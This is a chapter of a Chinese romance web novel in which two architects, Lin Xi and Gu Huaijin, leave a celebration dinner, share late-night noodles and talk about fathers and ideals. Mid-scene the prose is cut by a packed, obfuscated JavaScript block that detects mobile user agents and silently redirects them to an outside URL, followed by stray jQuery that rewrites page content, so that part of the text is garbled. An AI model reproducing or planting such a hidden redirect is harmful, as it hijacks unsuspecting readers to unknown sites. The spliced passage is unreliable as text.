庆功宴在工地附近的一家小餐馆。


    不是什么高档地方，塑料桌布，折叠椅，墙上的菜单用记号笔写着特价菜。但老板是老陈的远房亲戚，特意留了最大的包间，还送了两瓶白酒。


    工人们吵吵嚷嚷地落座，吆喝着点菜。林溪被拉到主位旁边，不断有人来敬酒。他不太会喝，但每一杯都抿一口，辣得皱眉。


    顾怀瑾坐在他对面，没怎么动筷子，只是安静地看着。他肩伤刚好，以茶代酒，没人敢劝。灯光下，他的侧脸线条柔和了许多。


    酒过三巡，气氛热烈起来。老陈开始讲年轻时的糗事，工人们笑得前仰后合。李阿姨和赵秀文坐在一起，小声说着什么，偶尔抹抹眼角。


    林溪趁乱溜到窗边透气。夜色中的城市灯火点点，远处厂房的轮廓在黑暗中隐现，只有导流渠的方向亮着一盏小灯——是值班工人留的。


    “不习惯？”顾怀瑾的声音在身后响起。


    林溪回头：“有点吵。”


    “工地人都这样。累了一天，需要宣泄。”顾怀瑾递给他一杯温水，“喝点，解酒。”


    水是温的，入喉舒适。两人并肩站在窗前，看着外面的夜景。


    “今天，”顾怀瑾忽然说，“你读信的时候，我想到一件事。”


    “什么？”


    “想到我第一次独立主持项目的时候。”他顿了顿，“也是旧厂房改造，在北京。那时我二十八岁，比你现在大五岁。完工那天，我也办了个庆功宴，比这热闹，在五星酒店。”


    林溪静静听着。


    “但我那天很不开心。”顾怀瑾的声音很轻，“因为我知道，那个项目虽然成功了，但它不是‘我’的。它是我导师的风格，是业主的喜好，是预算的限制。我只是个执行者。”


    窗外有车灯划过，照亮他眼里的情绪。


    “今天看你站在台上，读那封信的时候，我在想：这个项目是你的。不只是因为你是设计师，是因为……你让它有了灵魂。”


    这话太重，林溪一时不知如何回应。


    “顾总，这项目是您的——”


    “不。”顾怀瑾摇头，“是我的想法，但你的心。建筑就是这样，想法可以教，但心……教不了。”


    他转身，背靠着窗台，面对林溪：“接下来，你想建什么样的房子？”


    这个问题太突然，也太重要。林溪张了张嘴，却发不出声音。


    不是没有答案，是答案太多，堵在喉咙里。


    顾怀瑾笑了——那种很淡的、几乎看不见的笑：“不急。慢慢想。”


    包间里传来歌声。有工人喝高了，开始唱老歌，跑调得厉害，但情绪饱满。其他人跟着拍手，笑声震得天花板都在颤。


    “走吧，”顾怀瑾说，“进去再坐会儿，然后我们就溜。”


    回到座位，又应付了几轮敬酒。快十点时，顾怀瑾起身告辞，林溪跟着站起来。


    “林工这就走啊？”老陈大着舌头问。


    “明天还要去市图查资料。”林溪找了个借口。


    工人们起哄了几句，也就放行了。


    走出餐馆，夜风一吹，酒意散了大半。街道很安静，路灯把两人的影子拉得很长。


    “送你回去？”顾怀瑾问。


    “我想走走。醒醒酒。”


    “那一起走走吧。”


    他们沿着街道慢慢走。没有目的，只是往前走。偶尔有夜归的车驶过，车灯在路面投下流动的光。


    走过两个路口，顾怀瑾在一家还亮着灯的小店前停下。是家面馆，招牌上写着“24小时”。


    “饿了。”他说，“刚才没怎么吃。”


    店里很小，只有四五张桌子。老板是个中年男人，正趴在柜台上打盹，听见门铃响才抬起头。


    “两碗牛肉面。”顾怀瑾说，“一碗不要香菜。”


    林溪愣了愣——他不吃香菜，但从来没说过。


    “您怎么知道……”


    “上次一起吃饭，你把香菜都挑出来了。”顾怀瑾在靠窗的位置坐下，“记性还行。”


    面很快上来。热气腾腾，香气扑鼻。林溪是真的饿了，拿起筷子就吃。


    顾怀瑾吃得很慢，偶尔抬头看看窗外。深夜的街道空无一人，只有路灯孤独地亮着。


    “小时候，”他忽然说，“我爸常带我来这种小店吃夜宵。他画图到深夜，饿了，就把我从被窝里挖出来，说‘走，吃面去’。”


    林溪停下筷子。


    “那时候觉得面特别香。”顾怀瑾的声音很轻，“后来才明白，香的不是面，是那种……深夜只有我们两个人的感觉。像拥有了整个世界的安静。”


    他顿了顿：“我爸走了之后，我再也没在深夜吃过面。直到今天。”


    林溪看着碗里袅袅上升的热气，心脏某个柔软的地方被轻轻戳了一下。


    “顾总，”他轻声问，“您父亲……是个什么样的人？”


    顾怀瑾想了想：“固执。天真。不切实际。”


    每个词都像批评，但他的语气很温柔。


    “他总说，建筑应该让人幸福。但现实是，建筑首先要让人住得起，要符合规范，要能赚钱。”他用筷子搅着面，“所以他一直很痛苦——理想和现实撕扯的痛苦。”


    “那您呢？您痛苦吗？”


    这个问题太大胆。问出口的瞬间，林溪就后悔了。


    但顾怀瑾没有生气。他沉默了很久，久到面都快凉了。


    “以前痛苦。”他终于说，“但现在……好多了。”


    “因为想通了？”


    “因为遇到了你。”


    五个字。轻飘飘的，却重重砸在林溪心上。


    顾怀瑾说完，自己也愣了一下，然后低头吃面，仿佛刚才只是说了句“面还不错”。


    林溪的筷子停在半空。热气模糊了视线，他看不清顾怀瑾的表情。


    面馆里只有吸溜面条的声音，和远处冰箱低沉的嗡鸣。


    “我的意思是，”顾怀瑾重新开口，声音平静了些，“遇到一个能理解这些的人，很重要。建筑是孤独的职业，很多话，只能对懂的人说。”


    “我懂。”林溪说。


    “我知道你懂。”顾怀瑾抬头看他，“所以，谢谢。”


    简单两个字，但林溪听懂了里面的全部重量。


    他们吃完面，付钱，走出小店。夜色更深了，星星出来了，稀稀落落地挂在天上。


    “走回去吧。”顾怀瑾说，“不远了。”


    确实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193495|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不远。穿过一条小巷，再过两个路口，就是林溪的公寓楼。


    巷子很窄，只能容两人并肩。墙边堆着废弃的杂物，有野猫从垃圾桶后蹿出来，绿油油的眼睛在黑暗中一闪而过。


    “小心。”顾怀瑾伸手虚扶了一下林溪的胳膊。


    触碰很短暂，但温度透过布料传过来。林溪的呼吸停了一拍。


    走出巷子，眼前豁然开朗。公寓楼就在马路对面，还有几扇窗亮着灯。


    “到了。”顾怀瑾停下脚步。


    “您怎么回去？”


    “打车。”他拿出手机，“你先上去吧。”


    林溪站着没动。夜风吹过，带来远处夜市模糊的喧闹声。这一刻太安静，太珍贵，他不想结束。


    “顾总，”他听见自己的声音说，“那个问题……我有答案了。”


    “什么问题？”


    “想建什么样的房子。”


    顾怀瑾放下手机：“说。”


    林溪深吸一口气：“我想建那种……很多年后，有人站在里面，会觉得‘真好，这房子是为我建的’的那种房子。即使建的时候，我根本不知道他们是谁。”


    这话说得有些绕，但顾怀瑾听懂了。


    他点头，眼里有光：“很好的答案。”


    “还有，”林溪继续说，“我想建那种……能让赵秀英这样的人，觉得‘我的等待没有白等’的房子。能让普丽娅那样的人，觉得‘我也想建这样的房子’的房子。”


    顾怀瑾静静看着他。路灯的光落在他眼里，像落进深潭，漾开温柔的涟漪。


    “你会建成的。”他说。


    “您怎么知道？”


    “因为你是林溪。”顾怀瑾微笑，“因为你是那个，会在封顶仪式上读一封四十年旧信的人。”


    他的笑容很淡，但真实。卸下了所有专业面具，只剩下一个叫顾怀瑾的人。


    出租车来了。车灯刺破夜色。


    “我走了。”顾怀瑾拉开车门，又停下，“对了，下周一，那个国际奖的结果会公布。我们入围了。”


    林溪怔住：“图书馆项目？”


    “嗯。虽然不一定能得奖，但入围就是认可。”顾怀瑾顿了顿，“但我想告诉你——有没有那个奖，今天这个厂房，已经是最好的作品了。”


    车开走了。尾灯在夜色中渐行渐远，最后消失在拐角。


    林溪站在原地，很久没有动。


    夜风吹过，带来不知名的花香。


    他想起那碗面，想起巷子里的触碰，想起那句“因为遇到了你”。


    想起很多很多。


    然后他转身，走进公寓楼。


    电梯上升时，他看着镜面里自己的脸——眼睛很亮，像盛着整个夜晚的星光。


    回到房间，他打开电脑，新建了一个文档。


    标题写下：“未来想建的五种房子”。


    然后他想了想，删掉，重写：


    “想和顾怀瑾一起建的房子。”


    光标在句尾闪烁。他看着这行字，看了很久。


    然后他笑了。


    关上电脑，走到窗边。城市在脚下铺展，万家灯火如星河。


    其中有一盏，属于顾怀瑾。


    他知道。